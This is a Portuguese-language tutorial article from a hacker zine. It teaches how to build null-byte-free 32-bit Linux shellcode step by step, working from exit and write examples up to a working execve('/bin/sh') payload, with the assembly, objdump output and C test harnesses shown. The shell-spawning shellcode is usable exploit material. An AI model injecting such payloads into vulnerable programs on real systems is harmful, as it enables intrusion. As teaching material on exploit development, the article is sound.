____
_.-'111 `"`--._
,00010. .01011, ''-..
,10101010 `111000. _ ____ ;
/_..__..-------- ''' __.' /
`-._ /""| _..-''' ___ __ __ ___ __ __ . __' ___ . __
"`-----\ `\ | | | | __ | | |\/| |___ | | | |__] | |\ | |__| |__/ | | |
| ;.-""--.. |___ |__| |__] |__| | | |___ |___ |__| |__] | | \| | | | \ | |__|
| ,10. 101. `.======================================== ==============================
`;1010 `0110 : 1º Edição
.1""-.|`-._ ;
010 _.-| +---+----'
`--'\` | / / ...:::binariae:fungus:::...
~~~~~~~~~| / | |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
\| / |
`----`---'
Construindo shellcodes por m0nad.
Índice
1) Apresentação
2) O que são shellcodes?
3) Ferramentas
4) Ambiente
5) System Calls
6) Exemplos:
6.1) 'exit(0);' em assembly
6.2) 'exit(0);' em shellcode
6.3) 'exit(0);' em assembly nullbyte-free
6.4) 'exit(0);' em shellcode nullbyte-free
6.5) 'write(1, "Alo Mundo", 10);' em assembly nullbyte-free
6.6) 'write(1, "Alo Mundo", 10);' em shellcode nullbyte-free
6.7) 'execve("/bin/sh", NULL, NULL);' em assembly nullbyte-free
6.8) 'execve("/bin/sh", NULL, NULL);' em shellcode nullbyte-free
7) Perguntas?
8) Referências
1) Apresentação
Ola me chamo Victor Ramos Mello aka m0nad, recomendo que visitem meu github,
http://github.com/m0nad.
Venho aqui explicar o que são e principalmente, como construir shellcodes.
2) O que são shellcodes?
Shellcode ou Payload, são códigos utilizados na exploração de buffer overflows,
são utilizados no desenvolvimento de exploits para exploração desse tipo de falha,
quem já leu os exploits de buffer overflows já os viu, shellcodes são construídos
apenas com os valores em hexadecimal dos opcodes da arquitetura alvo, ou seja,
as instruções do próprio processador, por isso o entendimento da linguagem
assembly, que até certo ponto, possui relação de 1 para 1 com a linguagem
de máquina, se faz necessária.
O shellcode é o código que será de fato executado durante a exploração de um
buffer overflow.
São chamados de 'shellcodes' pois geralmente o seu objetivo é a obtenção de
uma shell.
3) Ferramentas:
Utilizaremos uma serie de ferramentas, todas são de fácil acesso, presentes na
maioria dos unix-like, as ferramentas são:
as - Montador da linguagem Assembly.
ld - Linker.
gcc - Compilador C.
objdump - Visualizador de arquivos objeto.
Linux 32 bits - Sistema Operacional alvo.
4) Ambiente:
O ambiente utilizado foi um GNU/Linux, um Ubuntu, as versões das ferramentas
e do kernel utilizado são:
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~$ uname -a
Linux m0nad-notebook 2.6.35-30-generic #56-Ubuntu SMP Mon Jul 11 20:00:22 UTC 2011 i686 GNU/Linux
m0nad@m0nad-notebook:~$ as --version
GNU assembler (GNU Binutils for Ubuntu) 2.20.51-system.20100908
Copyright 2010 Free Software Foundation, Inc.
This program is free software; you may redistribute it under the terms of
the GNU General Public License version 3 or later.
This program has absolutely no warranty.
This assembler was configured for a target of `i686-linux-gnu'.
m0nad@m0nad-notebook:~$ ld --version
GNU ld (GNU Binutils for Ubuntu) 2.20.51-system.20100908
Copyright 2010 Free Software Foundation, Inc.
This program is free software; you may redistribute it under the terms of
the GNU General Public License version 3 or (at your option) a later version.
This program has absolutely no warranty.
m0nad@m0nad-notebook:~$ gcc --version
gcc (Ubuntu/Linaro 4.4.4-14ubuntu5) 4.4.5
Copyright (C) 2010 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
m0nad@m0nad-notebook:~$
------------------------------------------------------------------------------------
5) System Calls:
Para construirmos um código simples de assembly em um linux, utilizaremos as
system-calls do sistema operacional, que nada mais são do que chamadas presentes
no kernel para executar tarefas para a aplicação.
Existem diversas técnicas de construção de shellcodes, alguns optam por escrever
o código em C, e depois debugar para descobrir quais syscalls e instruções de
máquina que irá utilizar, outra maneira é escrever o código direto em assembly,
para pegarmos os opcodes e construirmos o shellcode, é esta técnica que
utilizaremos.
6) Exemplos:
6.1) 'exit(0);' em assembly
Vejamos o primeiro exemplo, um 'exit(0);'.
Para executarmos qualquer syscall, precisamos utilizar os registradores, os
registradores de 'propósito geral' na arquitetura da Intel de 32 bits são eax,
ebx, ecx, edx, esi, edi, esp e ebp, já que este será nosso ambiente.
Para executarmos uma determinada syscall, basta mover o número da syscall
desejada, no caso 'exit', para o registrador eax e os demais argumentos para os
registradores ebx, ecx, edx, esi, edi, respectivamente e chamar a interrupção de
kernel 'int 0x80', que o kernel fará o resto.
Para descobrirmos o número das syscalls é simples, basta olharmos o unistd.h,
aqui estava presente em '/usr/include/asm/unistd_32.h.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~$ grep exit /usr/include/asm/unistd_32.h
#define __NR_exit 1
#define __NR_exit_group 252
m0nad@m0nad-notebook:~$
------------------------------------------------------------------------------------
Podemos ver que o número da syscall 'exit' é '1', então para criarmos um código
em assembly, com um código equivalente a um 'exit(0);', precisamos colocar o valor
'1' em eax, e o valor '0', em '%ebx', e depois chamar o kernel.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ cat asm_exit_linux32.s
.data
.text
.global _start
_start:
mov $0x1, %eax #syscall exit
mov $0x0, %ebx #exit (0);
int $0x80 #chama o kernel
------------------------------------------------------------------------------------
Pronto, agora vamos montá-lo e linka-lo
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ as asm_exit_linux32.s -o asm_exit_linux32.o
m0nad@m0nad-notebook:~/Assembly$ ld asm_exit_linux32.o -o asm_exit_linux32
------------------------------------------------------------------------------------
Ao executá-lo, nada acontecerá, pois ele somente ira executar um exit, e irá
sair de sua execução, por isso, executaremos com strace.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ strace ./asm_exit_linux32
execve("./asm_exit_linux32", ["./asm_exit_linux32"], [/* 39 vars */]) = 0
_exit(0) = ?
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Sucesso! Podemos ver que nossa syscall 'exit(0);' foi chamada, vamos agora
descobrir os opcodes utilizados, ou seja, os valores das instruções de máquina.
6.2) 'exit(0);' em shellcode
Basta usarmos o 'objdump' para vermos os opcodes...
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ objdump -d asm_exit_linux32
asm_exit_linux32: file format elf32-i386
Disassembly of section .text:
08048054 <_start>:
8048054: b8 01 00 00 00 mov $0x1,%eax
8048059: bb 00 00 00 00 mov $0x0,%ebx
804805e: cd 80 int $0x80
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Os opcodes, são os números em hexa no centro, entre os endereços e as instruções
em assembly.
Basta colocar os valores hexa numa string, e assim teremos o nosso shellcode.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ cat sc_exit_linux32.c
const char sc[] =
"\xb8\x01\x00\x00\x00" // mov $0x1,%eax
"\xbb\x00\x00\x00\x00" // mov $0x0,%ebx
"\xcd\x80" // int $0x80
;
int
main ()
{
__asm__ ("jmp sc");
return 0;
}
------------------------------------------------------------------------------------
Compilando...
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ gcc -o sc_exit_linux32 sc_exit_linux32.c
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Vamos agora executar com strace, para ver se tudo ocorre como o esperado.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ strace ./sc_exit_linux32
execve("./sc_exit_linux32", ["./sc_exit_linux32"], [/* 39 vars */]) = 0
brk(0) = 0x8fae000
uname({sys="Linux", node="m0nad-notebook", ...}) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7825000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=71040, ...}) = 0
mmap2(NULL, 71040, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7813000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0@n\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1421892, ...}) = 0
mmap2(NULL, 1427880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x454000
mmap2(0x5ab000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x157) = 0x5ab000
mmap2(0x5ae000, 10664, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x5ae000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7812000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb78126c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x5ab000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0x7a6000, 4096, PROT_READ) = 0
munmap(0xb7813000, 71040) = 0
_exit(0) = ?
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Vemos que nossa syscall 'exit(0);' foi executada com sucesso! E dessa vez em
forma de shellcode.
Mas temos um problema, os nullbytes, esses valores '\x00' no shellcode, isto é
devido ao simples fato de que, na maioria das falhas de buffer overflows, os dados
a serem colocados na memória, são geralmente strings, e a linguagem C, utiliza o
nullbyte como término da string, no caso de uma função como 'strcpy', o shellcode
não seria copiado inteiramente para o buffer, fazendo com que nosso shellcode não
seja executado por completo, o que resultaria em resultados indesejáveis, então
precisamos criar um shellcode sem os benditos nullbytes.
6.3) 'exit(0);' em assembly nullbyte-free
Vamos tentar criar um exit sem os nullbytes, vejamos o exemplo:
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ cat asm_nbf_exit_linux32.s
.data
.text
.global _start
_start:
xor %eax, %eax #zera %eax
xor %ebx, %ebx #zera %ebx
inc %eax #eax igual a 1
int $0x80 #chama o kernel
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Montando e linkando...
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ as -o asm_nbf_exit_linux32.o asm_nbf_exit_linux32.s
m0nad@m0nad-notebook:~/Assembly$ ld -o asm_nbf_exit_linux32 asm_nbf_exit_linux32.o
------------------------------------------------------------------------------------
Executando!
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ ./asm_nbf_exit_linux32
m0nad@m0nad-notebook:~/Assembly$ strace ./asm_nbf_exit_linux32
execve("./asm_nbf_exit_linux32", ["./asm_nbf_exit_linux32"], [/* 39 vars */]) = 0
_exit(0) = ?
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Perfeito! Nossa syscall foi chamada, e tudo parece ocorrer bem.
Vamos ver se realmente não possui null bytes.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ objdump -d asm_nbf_exit_linux32
asm_nbf_exit_linux32: file format elf32-i386
Disassembly of section .text:
08048054 <_start>:
8048054: 31 c0 xor %eax,%eax
8048056: 31 db xor %ebx,%ebx
8048058: 40 inc %eax
8048059: cd 80 int $0x80
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Vejam que agora os nullbytes sumiram! Para isso, evitamos mover valores para os
registradores, o ideal é zerar o registrador com 'xor', onde qualquer valor 'xor'
ele mesmo é igual a zero, e depois mover para as partes 'baixas' do registrador,
como '%al', mas nesse caso, utilizei a instrução 'inc' para incrementar o 'eax',
que também não gera nullbytes.
6.4) 'exit(0);' em shellcode nullbyte-free
Mais uma vez, basta pegarmos os opcodes do output do objdump, e colocarmos num
vetor de char.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/projects/ASM/Assembly$ cat sc_nbf_exit_linux32.c
const char sc[] =
"\x31\xc0" // xor %eax,%eax
"\x31\xdb" // xor %ebx,%ebx
"\x40" // inc %eax
"\xcd\x80" // int $0x80
;
int
main ()
{
__asm__ ("jmp sc");
return 0;
}
m0nad@m0nad-notebook:~/projects/ASM/Assembly$
------------------------------------------------------------------------------------
Compilando...e executando!
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/projects/ASM/Assembly$ gcc -o sc_nbf_exit_linux32 sc_nbf_exit_linux32.c
m0nad@m0nad-notebook:~/projects/ASM/Assembly$ ./sc_nbf_exit_linux32
m0nad@m0nad-notebook:~/projects/ASM/Assembly$ strace ./sc_nbf_exit_linux32
execve("./sc_nbf_exit_linux32", ["./sc_nbf_exit_linux32"], [/* 39 vars */]) = 0
brk(0) = 0x881b000
uname({sys="Linux", node="m0nad-notebook", ...}) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78c9000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=71040, ...}) = 0
mmap2(NULL, 71040, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb78b7000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0@n\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1421892, ...}) = 0
mmap2(NULL, 1427880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xd07000
mmap2(0xe5e000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x157) = 0xe5e000
mmap2(0xe61000, 10664, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xe61000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb78b6000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb78b66c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xe5e000, 8192, PROT_READ) = 0
mprotect(0x8049000, 4096, PROT_READ) = 0
mprotect(0x154000, 4096, PROT_READ) = 0
munmap(0xb78b7000, 71040) = 0
_exit(0) = ?
m0nad@m0nad-notebook:~/projects/ASM/Assembly$
------------------------------------------------------------------------------------
Vimos que funciona perfeitamente, já sabemos escrever shellcodes nullbyte-free,
ou seja, livre de bytes nulos.
6.5) 'write(1, "Alo Mundo", 10);' em assembly nullbyte-free
Vamos passar agora para um exemplo um pouco mais complexo, vamos escrever um
'Alo Mundo' em assembly, e nullbyte-free, para isso vamos utilizar as técnicas
vistas anteriormente, o maior problema que teremos que enfrentar sera copiar o
endereço da string para '%ecx', para isso há diversas técnicas, no artigo do
AlephOne[1], ele utiliza a instrução 'call' com a string logo em seguida, pois a
instrução 'call' salva o endereço da próxima instrução na pilha, então bastaria
dar um 'pop %ecx', para assim capturarmos o endereço, mas nós utilizaremos outra
técnica, de dar 'push' na string, e depois copiar o endereço do '%esp' para o
'%ecx', para isso basta colocar a string de traz para frente, já que a pilha é um
LIFO (Last in, First Out) ou seja, o último que entra é o primeiro que sai, e com
seus valores ascii em hexadecimal, já que vamos passar como simples números para a
pilha.
Vamos descobrir os valores em hexa de traz para frente.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ echo -n Alo Mundo | perl -ne 'printf "%x", unpack "C*" foreach (reverse split //) ';echo
6f646e754d206f6c41
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Pronto, já temos os valores em hexa da string 'Alo Mundo' de traz para frente.
Vamos construir o shellcode para printar o 'Alo Mundo', colocando novamente o
número da syscall em '%eax', neste caso 'write', stdout para '%ebx', endereço da
string para '%ecx', e o tamanho da string para '%edx', para evitarmos os nullbytes
vamos zerar os registradores com 'xor' e mover os valores para as partes baixas
dos registradores.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ cat asm_nbf_write_alomundo_linux32.s
.text
.globl _start
_start:
xor %eax, %eax #zera %eax
mov $0x4, %al #move 4(write) para a %al
xor %ebx, %ebx #zera %ebx
push %ebx #poe o nullbyte na pilha
inc %ebx #stdout em %ebx
push $0x6f #coloca a string na pilha
push $0x646e754d #
push $0x206f6c41 #
mov %esp, %ecx #ponteiro da string para %ecx
xor %edx, %edx #zera %edx
mov $0xa, %dl #tamanho da string para %dl
int $0x80 #chama o kernel
xor %eax, %eax #exit(0);
xor %ebx, %ebx #
inc %eax #
int $0x80 #
m0nad@m0nad-notebook:~/Assembly$ as -o asm_nbf_write_alomundo_linux32.o asm_nbf_write_alomundo_linux32.s
m0nad@m0nad-notebook:~/Assembly$ ld -o asm_nbf_write_alomundo_linux32 asm_nbf_write_alomundo_linux32.o
m0nad@m0nad-notebook:~/Assembly$ ./asm_nbf_write_alomundo_linux32 ;echo
Alo Mundo
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Perfeito, funciona, vamos verificar se realmente não possui nullbytes.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ objdump -d asm_nbf_write_alomundo_linux32
asm_nbf_write_alomundo_linux32: file format elf32-i386
Disassembly of section .text:
08048054 <_start>:
8048054: 31 c0 xor %eax,%eax
8048056: b0 04 mov $0x4,%al
8048058: 31 db xor %ebx,%ebx
804805a: 53 push %ebx
804805b: 43 inc %ebx
804805c: 6a 6f push $0x6f
804805e: 68 4d 75 6e 64 push $0x646e754d
8048063: 68 41 6c 6f 20 push $0x206f6c41
8048068: 89 e1 mov %esp,%ecx
804806a: 31 d2 xor %edx,%edx
804806c: b2 0a mov $0xa,%dl
804806e: cd 80 int $0x80
8048070: 31 c0 xor %eax,%eax
8048072: 31 db xor %ebx,%ebx
8048074: 40 inc %eax
8048075: cd 80 int $0x80
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Legal! Esta livre de bytes nulos! Vamos ao shellcode.
6.6) 'write(1, "Alo Mundo", 10);' em shellcode nullbyte-free
Vamos ao shellcode, basta escrevermos o shellcode utilizando estes opcodes.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ cat sc_nbf_write_alomundo_linux32.c
const char sc[] =
"\x31\xc0" // xor %eax,%eax
"\xb0\x04" // mov $0x4,%al
"\x31\xdb" // xor %ebx,%ebx
"\x53" // push %ebx
"\x43" // inc %ebx
"\x6a\x6f" // push $0x6f
"\x68\x4d\x75\x6e\x64" // push $0x646e754d
"\x68\x41\x6c\x6f\x20" // push $0x206f6c41
"\x89\xe1" // mov %esp,%ecx
"\x31\xd2" // xor %edx,%edx
"\xb2\x0a" // mov $0xa,%dl
"\xcd\x80" // int $0x80
"\x31\xc0" // xor %eax,%eax
"\x31\xdb" // xor %ebx,%ebx
"\x40" // inc %eax
"\xcd\x80" // int $0x80
;
int
main ()
{
__asm__ ("jmp sc");
return 0;
}
m0nad@m0nad-notebook:~/Assembly$ gcc -o sc_nbf_write_alomundo_linux32 sc_nbf_write_alomundo_linux32.c
m0nad@m0nad-notebook:~/Assembly$ ./sc_nbf_write_alomundo_linux32 ;echo
Alo Mundo
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Sucesso! funciona perfeitamente, um shellcode 'Alo Mundo' nullbyte-free, estamos
perto do nosso objetivo, ou seja, escrever o shellcode que obtem uma shell!
6.7) 'execve("/bin/sh", NULL, NULL);' em assembly nullbyte-free
Bem vamos ver então, o sexto exemplo, o assembly que irá nos dar a shell, para
isso basta colocarmos o valor da syscall 'execve' em '%eax' e o endereço da string
'/bin/sh' em '%ebx', o resto é semelhante ao shellcode anterior, só uma coisa, a
string terá que ser '/bin//sh', usamos uma '/' a mais como um 'padding', para
evitarmos os bytes nulos, novamente de traz para frente.
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ cat asm_nbf_execve_sh_linux32.s
.data
.text
.global _start
_start:
xor %eax, %eax #zera %eax
push %eax #coloca nullbyte na pilha
push $0x68732F2F #coloca string /bin//sh na pilha
push $0x6E69622F #
mov $0xb, %al #syscall execve para %al
mov %esp, %ebx #ponteiro da string para %ebx
xor %ecx, %ecx #zera %ecx
xor %edx, %edx #zera %edx
int $0x80 #chama o kernel
xor %eax, %eax #exit(0);
xor %ebx, %ebx #
inc %eax #
int $0x80 #
------------------------------------------------------------------------------------
Montando, linkando e executando...
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ as -o asm_nbf_execve_sh_linux32.o asm_nbf_execve_sh_linux32.s
m0nad@m0nad-notebook:~/Assembly$ ld -o asm_nbf_execve_sh_linux32 asm_nbf_execve_sh_linux32.o
m0nad@m0nad-notebook:~/Assembly$ ./asm_nbf_execve_sh_linux32
$ exit
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Sucesso! Vamos verificar se não há bytes nulos, para pegarmos os opcodes.
6.8) 'execve("/bin/sh", NULL, NULL);' em shellcode nullbyte-free
Agora o objetivo de tudo, o shellcode que irá nos dar shell!
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ objdump -d asm_nbf_execve_sh_linux32
asm_nbf_execve_sh_linux32: file format elf32-i386
Disassembly of section .text:
08048054 <_start>:
8048054: 31 c0 xor %eax,%eax
8048056: 50 push %eax
8048057: 68 2f 2f 73 68 push $0x68732f2f
804805c: 68 2f 62 69 6e push $0x6e69622f
8048061: b0 0b mov $0xb,%al
8048063: 89 e3 mov %esp,%ebx
8048065: 31 c9 xor %ecx,%ecx
8048067: 31 d2 xor %edx,%edx
8048069: cd 80 int $0x80
804806b: 31 c0 xor %eax,%eax
804806d: 31 db xor %ebx,%ebx
804806f: 40 inc %eax
8048070: cd 80 int $0x80
m0nad@m0nad-notebook:~/Assembly$
m0nad@m0nad-notebook:~/Assembly$ cat sc_nbf_execve_sh_exit_linux32.c
const char sc[] =
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\xb0\x0b" // mov $0xb,%al
"\x89\xe3" // mov %esp,%ebx
"\x31\xc9" // xor %ecx,%ecx
"\x31\xd2" // xor %edx,%edx
"\xcd\x80" // int $0x80
"\x31\xc0" // xor %eax,%eax
"\x31\xdb" // xor %ebx,%ebx
"\x40" // inc %eax
"\xcd\x80" // int $0x80
;
int
main ()
{
__asm__ ("jmp sc");
return 0;
}
------------------------------------------------------------------------------------
Compilando e executando...
------------------------------------------------------------------------------------
m0nad@m0nad-notebook:~/Assembly$ gcc -o sc_nbf_execve_sh_exit_linux32 sc_nbf_execve_sh_exit_linux32.c
m0nad@m0nad-notebook:~/Assembly$ ./sc_nbf_execve_sh_exit_linux32
$ exit
m0nad@m0nad-notebook:~/Assembly$
------------------------------------------------------------------------------------
Sucesso! Um shellcode funcional nullbyte-free, que executa a nossa shell!
7) Perguntas?
m0nad /at/ email.com
8) Referências
[1] Smash the Stack for Fun and Profit - AlephOne
AAAAA
?AAAAAA?
AAAAAN AAAAAAAAA
AAA A+ AAAAAAAAAA
A. A? AAAAAAAAAAA
AA AAAAAAAAAAA
AA + AAAAAAAAAAA
A AAAAAAA AAAAAAAAAAA
NA AAAAAAAAAA. AAAAAAAAAAAA
A AAAAAAAAAAAAAAA AAAAAAAAAAA
A AAAAAAAAAAAAAAAA AAAAAAAAAA
N AAAAAAAAAAAAAAAAA AAAAAAAA A
AA AAAAAAAAAAAAAAAAAAA AAAAAA A
A AA AAAAAAAAAAAAAAAAAAAAAAAAAA+
. . AAA AAAAAAAAAAAAAAAAAAAAAAAAAA A
A AA AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAA A
A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +
A AAAAAAA ?AAAAAAAAAAAAAAAAAAAAAAAA A
+ AA AAA AAAAAAAAAAAAAAAAAAAAAAAAAAA A
AA.AAAA.+AAAAAAAAAAAAAAAAAAAAAAAA A
. AAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAA. A
A +.++ AA+ A+AAAAAAAAAAAAAAAAAAAAAA ?
A A A. A+ AAAA.AAAAAAAAAAAAAAAN
A .A ? AAA AAAA AAAAAAAAAA A
A A+ AAA AAAI +AAAAAAAAN .
+ AAA AAA AAAAAAAA A
N AA? AAA AAAAAA.
A AAA AAA AAAAAAA .
A .A. AA AA AAA .
. AA AA AAA.AAA ..
A AA?AA AA. AAA A
N. AAAAA AA AA ?+
A AA.AAA AA AA ..
AAAAAAAAAA . AA AA .A
AAAN+AAA +AAAA AA
. .AAAAAA AAAA.
AAAA
. A+
